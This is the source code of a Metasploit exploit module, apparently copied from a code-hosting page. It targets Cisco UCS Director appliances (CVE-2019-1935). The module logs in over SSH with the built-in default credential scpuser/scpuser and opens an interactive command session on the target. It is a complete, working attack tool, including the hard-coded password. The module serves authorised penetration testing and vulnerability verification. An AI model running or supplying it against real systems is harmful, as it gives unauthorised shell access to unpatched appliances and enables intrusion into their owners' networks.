Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'net/ssh'
7
require 'net/ssh/command_stream'
8

9
class MetasploitModule < Msf::Exploit::Remote
10
  Rank = ExcellentRanking
11

12
  include Msf::Exploit::Remote::SSH
13

14
  def initialize(info = {})
15
    super(
16
      update_info(
17
        info,
18
        'Name' => 'Cisco UCS Director default scpuser password',
19
        'Description' => %q{
20
          This module abuses a known default password on Cisco UCS Director. The 'scpuser'
21
          has the password of 'scpuser', and allows an attacker to login to the virtual appliance
22
          via SSH.
23
          This module  has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
24
          Note that Cisco also mentions in their advisory that their IMC Supervisor and
25
          UCS Director Express are also affected by these vulnerabilities, but this module
26
          was not tested with those products.
27
        },
28
        'License' => MSF_LICENSE,
29
        'Author' => [
30
          'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
31
        ],
32
        'References' => [
33
          [ 'CVE', '2019-1935' ],
34
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ],
35
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
36
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-ucs-rce.txt' ]
37
        ],
38
        'DefaultOptions' => {
39
          'EXITFUNC' => 'thread'
40
        },
41
        'Payload' => {
42
          'Compat' => {
43
            'PayloadType' => 'cmd_interact',
44
            'ConnectionType' => 'find'
45
          }
46
        },
47
        'Platform' => 'unix',
48
        'Arch' => ARCH_CMD,
49
        'Targets' => [
50
          [ 'Cisco UCS Director < 6.7.2.0', {} ],
51
        ],
52
        'Privileged' => false,
53
        'DefaultTarget' => 0,
54
        'DisclosureDate' => '2019-08-21',
55
        'Notes' => {
56
          'Stability' => [CRASH_SAFE],
57
          'Reliability' => [REPEATABLE_SESSION],
58
          'SideEffects' => []
59
        }
60
      )
61
    )
62

63
    register_options(
64
      [
65
        Opt::RPORT(22),
66
        OptString.new('USERNAME', [true, 'Username to login with', 'scpuser']),
67
        OptString.new('PASSWORD', [true, 'Password to login with', 'scpuser']),
68
      ], self.class
69
    )
70

71
    register_advanced_options(
72
      [
73
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
74
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
75
      ]
76
    )
77
  end
78

79
  def rhost
80
    datastore['RHOST']
81
  end
82

83
  def rport
84
    datastore['RPORT']
85
  end
86

87
  def do_login(user, pass)
88
    opts = ssh_client_defaults.merge({
89
      auth_methods: ['password', 'keyboard-interactive'],
90
      port: rport,
91
      password: pass
92
    })
93

94
    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
95

96
    begin
97
      ssh = nil
98
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
99
        ssh = Net::SSH.start(rhost, user, opts)
100
      end
101
    rescue Rex::ConnectionError
102
      return
103
    rescue Net::SSH::Disconnect, ::EOFError
104
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
105
      return
106
    rescue ::Timeout::Error
107
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
108
      return
109
    rescue Net::SSH::AuthenticationFailed
110
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
111
    rescue Net::SSH::Exception => e
112
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
113
      return
114
    end
115

116
    if ssh
117
      conn = Net::SSH::CommandStream.new(ssh)
118
      ssh = nil
119
      return conn
120
    end
121

122
    return nil
123
  end
124

125
  def exploit
126
    user = datastore['USERNAME']
127
    pass = datastore['PASSWORD']
128

129
    print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...")
130
    conn = do_login(user, pass)
131
    if conn
132
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
133
      handler(conn.lsock)
134
    end
135
  end
136
end
137

138